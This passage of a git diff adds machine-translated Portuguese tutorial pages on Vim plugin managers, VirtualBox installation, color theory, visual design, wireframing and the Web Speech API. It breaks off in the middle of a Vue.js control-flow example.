+*   Suporte de ramificação / tag / confirmação.
+*   Ganchos pós-atualização.
+*   Suporte para plugins gerenciados externamente.
+
+Você pode encontrar o guia de instalação [aqui](https://github.com/junegunn/vim-plug#installation) .
+
+Alguns plugins úteis para você começar são:
+
+*   [nerdtree](https://github.com/scrooloose/nerdtree) - Um explorador de sistema de arquivos para o Vim.
+*   [Emmet-vim](https://github.com/mattn/emmet-vim/) - Suporte para expandir abreviações semelhantes a [emmet](https://emmet.io/) .
+*   [vim-polygot](https://github.com/sheerun/vim-polyglot) - Um pacote de idiomas sólido para o Vim.
+*   [Auto Pairs](https://github.com/jiangmiao/auto-pairs) - Insira ou exclua parênteses, parênteses, cotações em par.
+*   [fugitive.vim](https://github.com/tpope/vim-fugitive) - Um wrapper git para o Vim.
+
+Você pode adicionar mais plugins à sua instalação do Vim.
+
+#### Mais Informações:
+
+*   [Repositório Github](https://github.com/junegunn/vim-plug) - Vim-Plug
+*   [VimAwesome](https://vimawesome.com/) - Explore os plugins do Vim
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/vundle/index.md b/client/src/guide/portuguese/vim/vundle/index.md
new file mode 100644
index 0000000000..b22bcc8719
--- /dev/null
+++ b/client/src/guide/portuguese/vim/vundle/index.md
@@ -0,0 +1,34 @@
+---
+title: Vundle
+localeTitle: Vundle
+---
+## Vundle
+
+Vundle é a abreviação de Vim bundle e é um gerenciador de plugins Vim.
+
+Ele permite que você…
+
+*   acompanhe e configure seus plugins diretamente no `~/.vimrc` (um [arquivo](https://stackoverflow.com/questions/164847/what-is-in-your-vimrc) para personalizar o Vim)
+*   instalar plugins configurados (também conhecidos como scripts / bundle)
+*   atualizar plugins configurados
+*   pesquisar por nome todos os scripts disponíveis do Vim
+*   limpar plugins não utilizados
+*   execute as ações acima em um único pressionamento de tecla com o modo interativo
+
+Para começar, siga [este guia](https://github.com/VundleVim/Vundle.Vim#quick-start) .
+
+Alguns plugins úteis para você começar são:
+
+*   [nerdtree](https://github.com/scrooloose/nerdtree) - Explorador de árvores de arquivos
+*   [syntastic](https://github.com/vim-syntastic/syntastic) or [ale](https://github.com/w0rp/ale) - Verificador de sintaxe / linter
+*   [tagbar](https://github.com/majutsushi/tagbar) - Exibe tags em uma janela
+*   [ctrlp](https://github.com/kien/ctrlp.vim) - arquivo fuzzy, buffer, mru, tag, etc. localizador
+*   [gitgutter](https://github.com/airblade/vim-gitgutter) - Mostra um diff de git na medianiz (coluna de sinal)
+*   [fugitivo](https://github.com/tpope/vim-fugitive) - invólucro Git
+*   [delimitMate](https://github.com/Raimondi/delimitMate) - Auto-preenchimento do modo de inserção para aspas, parênteses, colchetes, etc.
+*   [tcomment](https://github.com/tomtom/tcomment_vim) - linhas de comentário qualquer que seja o idioma
+*   [e mais toneladas!](https://vimawesome.com/)
+
+#### Mais Informações:
+
+*   [Repositório do Github](https://github.com/VundleVim/Vundle.Vim)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/virtualbox/index.md b/client/src/guide/portuguese/virtualbox/index.md
new file mode 100644
index 0000000000..ff67ddb3f2
--- /dev/null
+++ b/client/src/guide/portuguese/virtualbox/index.md
@@ -0,0 +1,77 @@
+---
+title: VirtualBox
+localeTitle: VirtualBox
+---
+# VirtualBox
+
+![](https://upload.wikimedia.org/wikipedia/commons/d/d5/Virtualbox_logo.png)
+
+VirtualBox é um programa de máquina virtual de código aberto da Oracle. Ele permite que os usuários instalem virtualmente muitos sistemas operacionais em unidades virtuais, incluindo Windows, BSD, Linux, Solaris, etc.
+
+# Instalação
+
+O VirtualBox pode ser baixado aqui: [Downloads do VirtualBox](https://www.virtualbox.org/wiki/Downloads)
+
+# Configuração
+
+*   Para configurar sua primeira máquina virtual, baixe o arquivo .iso do site do sistema operacional desejado.
+    
+*   Em seguida, você vai apertar o botão "New" no VirtualBox, e nome da sua VM com qualquer nome que você gosta.
+    
+*   O aplicativo executará várias outras configurações. Mais importante ainda, observe quanto armazenamento você selecionou para a unidade. Esse é o tamanho máximo que o arquivo da máquina pode ter, que ocupará o armazenamento em seu dispositivo. Além disso, não como muita memória que você fornece à máquina, porque esses recursos estarão indisponíveis para o sistema operacional host durante a execução da VM.
+    
+
+Para mais informações, visite o site [Manual do VirtualBox Capítulo 1](https://www.virtualbox.org/manual/ch01.html)
+
+# Execute a máquina
+
+*   Selecione sua nova VM, clique em configurações e navegue até a guia Armazenamento.
+    
+*   Em seguida, clique no botão em forma de disco "Adiciona a unidade óptica" na linha "Controlador IDE".
+    
+*   Escolha o seu arquivo .iso
+    
+*   Feche as configurações e aperte Start!
+    
+*   Agora sua máquina irá executar e instalar o sistema operacional na unidade virtual.
+    
+*   Depois de terminar sua máquina pela primeira vez, volte para a guia Armazenamento em Configurações. Certifique-se de remover arquivo .iso ou remova o slot da unidade vazio. Deve haver apenas um.
+    
+    Parabéns! Você executou sua primeira máquina virtual no VirtualBox.
+    
+    Visite a [Manual do VirtualBox](https://www.virtualbox.org/manual/UserManual.html) para obter ainda mais informações sobre como usar e configurar máquinas.
+    
+
+O Oracle VM VirtualBox é um poderoso produto de virtualização multiplataforma para uso corporativo ou pessoal. O VirtualBox está disponível gratuitamente como software de código aberto sob a licença GNU General Public License (GPL) versão 2.
+
+O VirtualBox estende as capacidades do seu computador existente para que ele possa rodar múltiplos sistemas operacionais, você pode até executar o VirtualBox dentro de uma máquina virtual, rodar outro sistema operacional, todos no mesmo PC, os únicos limites são espaço em disco e memória.
+
+O VirtualBox é uma solução simples para:
+
+*   Executando vários sistemas operacionais simultaneamente.
+*   Não é necessário reinicializar para usar um programa específico que pode não ser suportado pelo sistema operacional em uso.
+*   Instalações de software mais fáceis
+*   Uma configuração completa de um sistema pode ser empacotada em uma máquina virtual.
+*   Testes e recuperação de desastres
+*   Pode experimentar livremente com um ambiente de computação, sem afetar nada fora da máquina virtual.
+*   Consolidação de infra-estrutura
+*   A virtualização reduz significativamente os custos de hardware e eletricidade.
+
+A caixa virtual suporta uma ampla variedade de sistemas operacionais:
+
+*   janelas
+*   Linux
+*   Macintosh
+*   Hosts Solaris
+*   Além de um grande número de sistemas operacionais convidados: (Incluindo mas não limitado a):
+*   Windows (NT 4.0, 2000, XP, Server 2003, Vista, Windows 7, Windows 8, Windows 10)
+*   DOS / Windows 3.x
+*   Linux (2.4, 2.6, 3.xe 4.x)
+*   Solaris e OpenSolaris
+*   OS / 2
+*   OpenBSD
+
+#### Mais Informações:
+
+*   [virtualbox.org](https://www.virtualbox.org)
+*   [Como configurar um ambiente linux local com o vagrant](https://medium.com/@JohnFoderaro/how-to-set-up-a-local-linux-environment-with-vagrant-163f0ba4da77)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/virtualbox/install-virtualbox-on-macos/index.md b/client/src/guide/portuguese/virtualbox/install-virtualbox-on-macos/index.md
new file mode 100644
index 0000000000..d63f1034ca
--- /dev/null
+++ b/client/src/guide/portuguese/virtualbox/install-virtualbox-on-macos/index.md
@@ -0,0 +1,31 @@
+---
+title: Install VirtualBox On macOS
+localeTitle: Instale o VirtualBox no macOS
+---
+## Instale o VirtualBox no macOS
+
+### PASSO 1 - Visite o site oficial do VirtualBox e faça o Download
+
+[Aqui](https://www.virtualbox.org/wiki/Downloads) para visitar o site. Você verá a seguinte página. Clique no "host do OS X" e baixará automaticamente o arquivo dmg, que inclui o aplicativo VirtualBox.
+
+![Site oficial do VirtualBox](https://i.imgur.com/O16uc8E.png)
+
+### PASSO 2 - Clique no arquivo dmg
+
+Clique no arquivo dmg que acabou de ser baixado e você verá a tela de verificação. Clique duas vezes no ícone da caixa com o nome "VirtualBox.pkg". Isso mostrará a tela de instalação.
+
+![arquivo dmg aberto](https://i.imgur.com/AyvSsLk.png)
+
+### PASSO 3 - Instalar o VirtualBox
+
+Quando você vê a tela semelhante com a imagem a seguir. Você pode clicar em Avançar até a instalação terminar.
+
+**Nota** : Ele notará que o seu macOS não permitiu a origem desconhecida. Se você vir a caixa de prompt, pressione o botão de configuração em vez do botão "OK". Você pode selecionar a opção `allow` nas configurações e reiniciar a instalação.
+
+![janelas de instalação](https://i.imgur.com/4RY0hVu.png)
+
+### Executar o VirtualBox
+
+Uma vez que a instalação é feita, você pode abrir o VirtualBox no "Launchpad". Ou pesquise o `VirtualBox` no Spotlight.
+
+![Launchpad com o VirtualBox](https://i.imgur.com/hsEjqfm.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/visual-design/color-theory/color-and-culture/index.md b/client/src/guide/portuguese/visual-design/color-theory/color-and-culture/index.md
new file mode 100644
index 0000000000..600234dbad
--- /dev/null
+++ b/client/src/guide/portuguese/visual-design/color-theory/color-and-culture/index.md
@@ -0,0 +1,19 @@
+---
+title: Color and Culture in Visual Design
+localeTitle: Cor e Cultura em Design Visual
+---
+## Cor e Cultura em Design Visual
+
+A cor contribui para e afeta o contexto. O Feng Shui aceita esse princípio, seja uma estratégia contemporânea de decoração da casa do Ocidente, ou como parte de uma prática tradicional chinesa. A partir disso, quem poderia discordar da premissa de que cultura e psicologia afetam como as cores são interpretadas no contexto da informação? Combinações específicas de cores também podem representar símbolos, como nas cores de uma bandeira nacional, uma equipe esportiva favorita, escola ou instituição, por exemplo.
+
+As cores são uma das primeiras impressões que um espectador reconhece e interpreta na comunicação - antes que as letras sejam lidas, os números analisados ​​e os gráficos sejam interpretados. É por isso que é importante pesquisar sobre [vieses que os espectadores](/working-in-tech/unconscious-bias/index.md) possam ter. Uma paleta de cores pode alterar o contexto e o significado do conteúdo que você publica.
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Arco-íris em cultura (Wikipedia.org)](https://en.wikipedia.org/wiki/Rainbows_in_culture)
+
+[Cor na cultura (categoria Wikipedia)](https://en.wikipedia.org/wiki/Category:Color_in_culture)
+
+[Cor e psicologia (Wikipedia.org)](https://en.wikipedia.org/wiki/Color_psychology)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/visual-design/color-theory/index.md b/client/src/guide/portuguese/visual-design/color-theory/index.md
new file mode 100644
index 0000000000..5a13ac43bf
--- /dev/null
+++ b/client/src/guide/portuguese/visual-design/color-theory/index.md
@@ -0,0 +1,69 @@
+---
+title: Color Theory
+localeTitle: Teoria das Cores
+---
+## Teoria das Cores
+
+Teoria das Cores é uma aplicação prática de misturar cores e usar cores para obter um efeito visual específico.
+
+As cores são usadas em todos os tipos de formas.
+
+A escolha de cores na exibição visual é freqüentemente limitada por hardware, software em execução no hardware, limitações do olho humano e variações em como os seres humanos percebem a cor.
+
+Os limites para as escolhas também são moldados por restrições artificiais fornecidas por um projeto, como a necessidade de estar em conformidade com o estilo de design e a marca.
+
+Uma roda de cores é a principal ferramenta usada pelos designers para especificar ou localizar cores. As rodas de cores podem incluir todo o espectro de cores ou podem ser organizadas por uma categoria definida de cores.
+
+As quatro principais categorias de cores, com as quais você já pode estar familiarizado, são Cores Primárias, Cores Secundárias, Cores Terciárias, Cores Complementares.
+
+Usar a teoria das cores pode ajudar a atender aos requisitos dos projetos e, ao mesmo tempo, maximizar a legibilidade do texto e a acessibilidade do conteúdo aos espectadores com diferentes características ou necessidades de visualização.
+
+### Roda de cores ou selecionador de cores
+
+Uma roda de cores ou um seletor é uma ferramenta usada pelos designers para especificar ou localizar cores. Os separadores de cores podem incluir um espectro de cores ou podem ser organizados por categorias definidas de luz, como brilho e matiz.
+
+**Cores primárias**
+
+Na arte e ilustração, as cores são tradicionalmente separadas em três categorias: Cores Primárias, Cores Secundárias e Cores Terciárias. Cores primárias são cores que não podem ser misturadas ou formadas por qualquer combinação de outras cores. Cores secundárias são aquelas formadas pela mistura de duas das cores primárias. Cores terciárias são as que se formam misturando todas as três cores primárias.
+
+Na pintura tradicional, as cores são vermelho, amarelo e azul (RYB). Todas as outras cores são derivadas desses três. O matiz real de cada cor primária afeta o intervalo de cores disponíveis.
+
+As telas visuais do computador geralmente usam um conjunto diferente de três cores primárias para aproximar a cor: vermelho, verde e azul (RGB). Todas as cores exibidas são feitas variando o brilho das cores primárias.
+
+As impressoras de computador geralmente usam quatro cores primárias para representar a cor. Às vezes, um preto é usado como meio de contraste para aumentar o intervalo de contraste. A combinação de cores primárias ciano, magenta, amarelo e chave (CMYK) é comum. "Key" representa preto. Key é um termo tradicional para a impressão mais significativa de uma combinação de impressões.
+
+### Psicologia das Cores
+
+Psicologia das cores é um estudo de como a cor influencia o humor e o comportamento humano. As cores escolhidas para o design podem influenciar bem sucedido é um produto.
+
+**Cores complementares:** Vermelho-verde, amarelo-roxo, azul-laranja Estas são cores formadas pela mistura de cores opostas entre si na roda de cores.
+
+No web design, as cores também carregam consigo conotações e implicações que precisam ser compreendidas, ou então você poderia causar confusão. A cor vermelha em um espaço não digital, como um restaurante fast-food, carrega a implicação de energia ou excitação. No entanto, na web, a cor vermelha também traz consigo a implicação de que o usuário cometeu um erro. Esse exemplo de como a cor significa determinados itens em determinadas configurações deve ser um lembrete importante para entender como a pessoa que visualiza sua página interpretará a seleção de cores que você fez.
+
+### Cores da Web
+
+Padrões da Web, incluindo HTML, CSS e formatos de arquivos gráficos: JPEG, PNG, GIF e SVG usam cores primárias de vermelho, verde e azul. Cada tecnologia ou dispositivo exibe um matiz ligeiramente diferente da cor primária. Por exemplo, um vermelho puro em um monitor pode parecer mais rosa ou laranja em outro. Essas variações aumentam a complexidade de tentar retratar cores precisas em uma tela de computador. Esse é um problema significativo, por exemplo, ao tentar:
+
+*   representar um produto com um matiz de cor específico ou
+*   representar um arco-íris de cor, ou
+*   alertar um usuário com mensagens com vários graus de importância.
+
+Web design, publicidade e heurística de interface homem-computador também reconhecem que as cores carregam conotações e implicações culturais.
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Planilha de Teoria Básica de Cores](http://lfhs.lfcisd.net/UserFiles/Servers/Server_904/File/ECCastillo/Color%20Theory%20Worksheet.pdf)
+
+[Wiki da Psicologia das Cores](https://en.wikipedia.org/wiki/Color_psychology)
+
+[Tabela de cores espectrais ou espectrais próximas em RGB](https://en.wikipedia.org/wiki/Spectral_color#Table_of_spectral_or_near-spectral_colors)
+
+[Cor e Usabilidade](/visual-design/color-theory/usability/index.md)
+
+[Cor e Cultura](/visual-design/color-theory/color-and-culture/index.md)
+
+[Como obter uma aparência profissional com cor](https://www.webdesignerdepot.com/2009/12/how-to-get-a-professional-look-with-color/)
+
+[Sua única cor](https://robots.thoughtbot.com/Its-only-color)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/visual-design/color-theory/usability/index.md b/client/src/guide/portuguese/visual-design/color-theory/usability/index.md
new file mode 100644
index 0000000000..278843b317
--- /dev/null
+++ b/client/src/guide/portuguese/visual-design/color-theory/usability/index.md
@@ -0,0 +1,40 @@
+---
+title: Color and Usability
+localeTitle: Cor e Usabilidade
+---
+## Cor e Usabilidade
+
+Como as variações na [representação da cor por exibições visuais](/visual-design/color-theory/index.md) , os olhos humanos e o cérebro interpretam as cores de várias formas.
+
+Cerca de uma em vinte pessoas tem daltonismo \[2\]. Isso é quase um bilhão de pessoas! O daltonismo é quando uma gama de cores diferentes é interpretada como tons de uma cor. Às vezes, uma pessoa não sabe que sofre de daltonismo, porque as cores "parecem normais" para elas. Isso tem sérias implicações para contrastar as cores entre as letras e seus planos de fundo, e para alertas, onde a cor cobre um contexto de importância, por exemplo. Mesmo algo tão simples como transmitir “parar” e “ir” é problemático, uma vez que a forma mais comum de daltonismo é onde vermelho e verde aparecem da mesma forma.
+
+Mais de um por cento da população tem [outros tipos de perda visual significativa (Wikipedia.org)](https://en.wikipedia.org/wiki/Visual_impairment) . As perdas podem incluir sensibilidade a muito ou pouco contraste, distorções e limites na faixa de clareza de visualização (miopia ou hipermetropia).
+
+As telas de computador são capazes de exibir contrastes que são sobre o dobro de contrastes disponíveis no papel.
+
+Aqui estão as diretrizes para ajudar a atender aos desafios de design de acomodar essas variações, sem prejudicar a experiência de outras pessoas. Essas diretrizes também ajudam a [tecnologia adaptativa (Wikipedia.org) a](https://en.wikipedia.org/wiki/Assistive_technology#Visual_impairments) funcionar de forma mais eficaz.
+
+### Definições
+
+**brilho** Para determinar o brilho das diretrizes, some os valores das cores RGB. Se uma fonte tiver cor RGB (255,0,0), isso significa que ela tem 100% de vermelho e 0% de luz verde e azul. Seu brilho é 255 + 0 + 0 = 255. O brilho máximo é branco com 255 + 255 + 255 = 765.
+
+**contraste** Para determinar o contraste para as diretrizes, subtraia o _brilho_ entre duas cores.
+
+### Diretrizes
+
+1.  Evite exceder os contrastes no nível do papel no texto. Diferença de brilho entre texto e fundo de texto, pelo menos, 300, senão 400 - um pouco mais para fontes pequenas, menos para fontes maiores. Se a cor da fonte for Vermelho, o valor RGB pode ser (255,0,0) é um brilho de 255 de 765. Se o plano de fundo estiver amarelo, o valor RGB poderá ser (255,255,0) = 510. A diferença entre 510 e 255 é de 255. Este exemplo de contraste é muito baixo e nos leva à próxima diretriz.
+    
+2.  Para fins de verificação do contraste e adaptação do daltonismo, suponha que as cores primárias vermelho e verde sejam da mesma cor. A forma mais comum de daltonismo é semelhante a vermelho e verde. Isto significa para eficácia com comunicação importante, considere que as cores RGB Vermelho (255,0,0), RGB Verde (0,255,0) e "Olive" \[1\] RGB (127,127,0) são essencialmente da mesma cor com o mesmo contraste. Para calcular o contraste, o RGB amarelo (255,255,0) tem o dobro do brilho de qualquer cor primária. As duas cores primárias ainda produzem o dobro do brilho de uma.
+    
+
+### Resumo
+
+A boa notícia é que ainda há muita flexibilidade disponível na escolha de um palete de cores efetivo que seja palatável para os leitores.
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+1.  [Cores da Web (Wikipedia.org)](https://en.wikipedia.org/wiki/Web_colors#Web-safe_colors)
+    
+2.  [Daltonismo (Wikipedia.org)](https://en.wikipedia.org/wiki/Color_blindness)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/visual-design/index.md b/client/src/guide/portuguese/visual-design/index.md
new file mode 100644
index 0000000000..02d2c4df10
--- /dev/null
+++ b/client/src/guide/portuguese/visual-design/index.md
@@ -0,0 +1,24 @@
+---
+title: Visual Design
+localeTitle: Design visual
+---
+## Design visual
+
+Nesta seção, teremos guias para uma ampla variedade de conceitos de design visual.
+
+Várias metodologias de design podem ser empregadas ao fazer um exemplo de design visual, brutal e pós-punk. Diferentes empresas têm suas próprias linguagens de design em um sentido amplo. Por exemplo, o Google é um grande proponente do Material Design, no qual os elementos de design são feitos para parecerem materiais reais com o mesmo fluxo e efeitos de sombra.
+
+O design visual lida com a aparência dos aplicativos. Pode ser visto como o equivalente digital do design gráfico. E, como tal, o design visual também deve se esforçar para seguir os conhecidos princípios do bom design de Dieter Rams.
+
+### 10 princípios do bom design
+
+1.  Bom design é inovador
+2.  Um bom design torna um produto útil
+3.  Bom design é estético
+4.  Um bom design torna um produto compreensível
+5.  Bom design é discreto
+6.  Bom design é honesto
+7.  Bom design é de longa duração
+8.  O bom design é detalhado até o último detalhe
+9.  Bom design é ambientalmente amigável
+10.  Um bom design envolve o menor design possível
\ No newline at end of file
diff --git a/client/src/guide/portuguese/visual-design/layout/index.md b/client/src/guide/portuguese/visual-design/layout/index.md
new file mode 100644
index 0000000000..fdc8ebc15f
--- /dev/null
+++ b/client/src/guide/portuguese/visual-design/layout/index.md
@@ -0,0 +1,21 @@
+---
+title: Layout
+localeTitle: Layout
+---
+## Layout
+
+Layout refere-se ao arranjo ou colocação de elementos em uma determinada página. Os elementos podem incluir itens funcionais, como parágrafos, títulos, listas e seções. Os elementos também podem incluir itens de design, como ícones, formas e imagens. O uso de espaço em branco, preenchimento e margem também é muito usado no layout. Você pode considerar as primeiras como características de design, e não elementos em si mesmas.
+
+O layout de uma página é a disposição desses vários itens em uma apresentação que transmite significado à pessoa que visualiza a página. Assim, uma consideração primária para o layout deve ser como o layout será entendido e o significado que ele irá transmitir. Sem considerar cuidadosamente o significado de um layout, você pode causar confusão e desconfiança entre seu público-alvo.
+
+Um erro comum que você pode cometer é determinar o layout com base no que acha melhor. Isso pode violar a ideia de convenções padrão e deve ser evitado até que você tenha mais experiência em design de layout.
+
+Convenções Padrão é um termo usado para descrever um processo ou aplicação de uma técnica que tem aprovação geral do setor e aceitação cultural geral entre os usuários. Exemplos dessas convenções relacionadas ao layout estão listados abaixo:
+
+*   Colocação do texto do cabeçalho acima do parágrafo que está sendo descrito.
+*   Posicionamento de uma barra de navegação no topo da página.
+*   Uso de espaços em branco para separar diferentes seções e tipos de conteúdo.
+*   Falta de espaço em branco para reunir seções e tipos de conteúdo.
+*   Garantir que os elementos estejam limpos e organizados (ou seja, dois botões alinhados para serem visualmente aceitáveis)
+*   Simplicidade do layout de tal forma que é fácil de seguir e flui bem
+*   Uso de hierarquia visual para ajudar a manter o layout fluindo visualmente (tamanho, cor, posicionamento, etc)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/visual-design/visual-hierarchy/index.md b/client/src/guide/portuguese/visual-design/visual-hierarchy/index.md
new file mode 100644
index 0000000000..eeda756c6f
--- /dev/null
+++ b/client/src/guide/portuguese/visual-design/visual-hierarchy/index.md
@@ -0,0 +1,31 @@
+---
+title: Visual Hierarchy
+localeTitle: Hierarquia visual
+---
+## Hierarquia visual
+
+Hierarquia visual é a organização e apresentação de conteúdo. Você pode usar a hierarquia visual para concentrar a atenção dos usuários e mostrar onde estão as informações mais importantes.
+
+O que você precisa lembrar ao criar a hierarquia visual do seu conteúdo é que tudo é relativo. As partes que você deseja destacar devem se destacar de outras partes do seu conteúdo.
+
+Você pode obter hierarquia visual de várias maneiras, incluindo (mas não limitado a):
+
+*   Tamanho
+*   Cor e contraste
+*   Títulos e subposições
+*   Tipografia
+*   Espaço branco ou em branco
+*   Textura
+*   Posição
+*   Orientação
+*   Layout geral
+
+#### Mais Informações:
+
+Ferramentas para criar uma hierarquia visual: [Blog da Design School](https://designschool.canva.com/blog/visual-hierarchy/)
+
+6 Princípios da Hierarquia Visual: [99 designs blog](https://99designs.com/blog/tips/6-principles-of-visual-hierarchy/)
+
+Estudo de Caso - Melhorando uma Página com Hierarquia Visual: [blog](http://blog.formedfunction.com/post/3029763425/on-visual-hierarchy)
+
+Adicionando Hierarquia Visual: [Médio](https://medium.com/designed-thought/8-ways-to-add-visual-hierarchy-8820be73218a/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/visual-design/wireframing/index.md b/client/src/guide/portuguese/visual-design/wireframing/index.md
new file mode 100644
index 0000000000..d028a35260
--- /dev/null
+++ b/client/src/guide/portuguese/visual-design/wireframing/index.md
@@ -0,0 +1,25 @@
+---
+title: Wireframing
+localeTitle: Wireframing
+---
+## Wireframing
+
+Um wireframe é uma ilustração bidimensional da interface de uma página que se concentra especificamente na alocação de espaço e priorização de conteúdo, funcionalidades disponíveis e comportamentos pretendidos.
+
+O wireframing é uma maneira de projetar um aplicativo no nível estrutural. Um wireframe é comumente usado para dispor o conteúdo e a funcionalidade em uma página que leva em consideração as necessidades do usuário e as jornadas do usuário. Os wireframes são usados ​​no início do processo de desenvolvimento para estabelecer a estrutura básica de uma página por esses motivos, geralmente os wireframes não incluem nenhum estilo, cor ou gráfico. Os wireframes também ajudam a estabelecer relações entre os vários modelos de um site.
+
+Encontre recursos adicionais em Wireframing [Aqui](http://www.experienceux.co.uk/faqs/what-is-wireframing/)
+
+[
+
+## Ferramentas de wireframes
+
+* * *
+
+](http://www.experienceux.co.uk/faqs/what-is-wireframing/)
+
+[](http://www.experienceux.co.uk/faqs/what-is-wireframing/)*   [](http://www.experienceux.co.uk/faqs/what-is-wireframing/)[Maravilha](https://marvelapp.com/home)
+*   [InVision](https://www.invisionapp.com/)
+*   [Proto App](https://proto.io/)
+*   [Lucidchart](https://www.lucidchart.com/pages/examples/wireframe_software/)
+*   [Lápis](http://pencil.evolus.vn/Default.html/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/voice/index.md b/client/src/guide/portuguese/voice/index.md
new file mode 100644
index 0000000000..373241f2f0
--- /dev/null
+++ b/client/src/guide/portuguese/voice/index.md
@@ -0,0 +1,91 @@
+---
+title: Voice
+localeTitle: Voz
+---
+## Voz
+
+O reconhecimento de fala permite que os usuários afetados por dificuldades de acessibilidade (como deficiência visual permanente ou deficiência temporária durante a condução) tenham a capacidade de navegar pelo conteúdo de um site ou inserir dados de texto (como um formulário).
+
+A síntese de fala fornece aos sites a capacidade de fornecer informações aos usuários lendo textos.
+
+### API de fala da Web do Javascript
+
+A [Web Speech API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API) permite incorporar dados de voz em aplicativos da Web usando reconhecimento de voz e síntese de fala.
+
+#### Como funciona a API de fala da Web
+
+A API WebSpeech usa o sistema de microfone nativo do dispositivo. Quando uma expressão é reconhecida a partir de uma gramática predefinida (veja abaixo), ela é retornada como resultado (ou lista de resultados) como uma cadeia de texto, e funções de retorno de chamada podem ser fornecidas para executar outras ações.
+
+#### Como usar a API SpeechRecognition
+
+Aqui está um exemplo simples de usar a API SpeechRecognition. Observe que a API é iniciada com o `new SpeechRecognition()` e inicia quando `recognition.start();` é chamado. Ele cria uma transcrição do que é recebido e, em seguida, é anexado ao elemento `<p class="transcript">` . [Clique aqui para uma demonstração de trabalho deste código](https://codepen.io/ashwoodall/pen/MPeyRm) .
+
+Este é o HTML ao qual a transcrição é anexada:
+
+```html
+
+<main class="main"> 
+  <span class="loader"></span> 
+  <p class="description">What I think you said: <p class="transcript" data-js="varValue"></p></p> 
+ 
+ </main> 
+```
+
+E aqui está o JavaScript:
+
+```javascript
+window.SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition; 
+ 
+ const span = document.querySelector('[data-js="varValue"]'); 
+ const main = document.querySelector('.main'); 
+ const loader = document.querySelector('.loader'); 
+ 
+ const recognition = new SpeechRecognition(); 
+ recognition.lang = 'en-US'; 
+ 
+ recognition.addEventListener('result', e => { 
+    const transcript = Array.from(e.results) 
+        .map(result => result[0].transcript) 
+ 
+    span.textContent = transcript; 
+    loader.textContent = ''; 
+ }); 
+ 
+ recognition.addEventListener('start', () => loader.textContent = 'Listening (enable your microphone)...'); 
+ 
+ recognition.addEventListener('end', recognition.start); 
+ recognition.start(); 
+```
+
+### Alexa
+
+O Alexa é o serviço de voz baseado em nuvem da Amazon disponível em dezenas de milhões de dispositivos da Amazon e de fabricantes de dispositivos de terceiros. Com o Alexa, você pode criar experiências de voz naturais que oferecem aos clientes uma maneira mais intuitiva de interagir com a tecnologia que eles usam todos os dias. Ele é capaz de interação por voz, reprodução de música, listas de tarefas, configuração de alarmes, transmissão de podcasts, reprodução de audiolivros e fornecimento de informações meteorológicas, de trânsito, esportivas e outras informações em tempo real, como notícias.
+
+# Intervalo de dispositivos do Amazon Echo
+
+*   Eco da Amazônia
+*   Amazon Echo Plus
+*   Amazon Echo Dot
+*   Amazon Echo Look
+*   Amazon Echo Show
+*   Ponto de eco da Amazon
+
+# Microfones de campo distante
+
+Os sistemas de reconhecimento de fala geralmente usam vários microfones para reduzir o impacto da reverberação e do ruído. Os ecos são organizados em um layout hexagonal, com um microfone em cada vértice e um no centro. O atraso entre cada microfone que recebe o sinal permite que o dispositivo identifique a origem da voz e cancele o ruído vindo de outras direções. Este é um fenômeno conhecido como beamforming.
+
+Embora os sistemas de reconhecimento de voz de última geração tenham desempenho razoavelmente bom em condições de microfone de fala próxima, o desempenho diminui em condições em que o microfone está longe do usuário.
+
+O áudio capturado pelo Echo será influenciado por: 1) a voz do locutor contra a parede da sala, 2) o ruído de fundo do lado de fora, 3) o eco acústico proveniente do altifalante do dispositivo 4) a saída de áudio contra a parede da sala.
+
+# Programas
+
+Os componentes de software dentro da plataforma incluem o Natural Language Understanding (NLU) e também o Automated Speech Recognition (ASR). Esses componentes de software podem ser aproveitados por "habilidades" escritas por desenvolvedores independentes de software que são então certificados para um conjunto de padrões pela Amazon. Já existem mais de 20 mil dessas habilidades personalizadas disponíveis em sua loja de aplicativos.
+
+### API de fala para texto do IBM Watson
+
+O Speech-to-Text do IBM Watson usa aprendizado de máquina para prever com precisão a fala em tempo real. Atualmente, sete idiomas diferentes são suportados, bem como voz ao vivo e áudio pré-gravado. A API pode ser usada gratuitamente, ou versões pagas estão disponíveis para aplicativos de escala maior.
+
+### Mais Informações
+
+[API de fala da Web](https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API) [API Alexa](https://developer.amazon.com/docs/alexa-voice-service/api-overview.html) [API do IBM Watson](https://www.ibm.com/watson/services/speech-to-text/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vue/control-flow/index.md b/client/src/guide/portuguese/vue/control-flow/index.md
new file mode 100644
index 0000000000..422e6515c0
--- /dev/null
+++ b/client/src/guide/portuguese/vue/control-flow/index.md
@@ -0,0 +1,100 @@
+---
+title: Control Flow
+localeTitle: Controle de fluxo
+---
+## Controle de fluxo
+
+### Condicionais
+
+Com o Vue.js você pode decidir se mostra ou não um pedaço de código no seu final página, dependendo de alguma condição. Por exemplo, imagine uma entrada de formulário que seja necessário um texto com pelo menos 8 caracteres: se a entrada do usuário for menor que 8, que uma mensagem de erro deve aparecer; mas se a entrada for maior que 8, o mensagem desaparece.
+
+Mas vamos fazer um exemplo mais simples. Queremos condicionar a exibição de um mensagem para um contador:
+
+```html
+
+<div id="app"> 
+  <p v-if="counter > 10"> 
+    This message is only rendered when the counter is greater than 10 
+  </p> 
+ </div> 
+```
+
+```javascript
+let app = new Vue({ 
+  el: '#app', 
+  data: { 
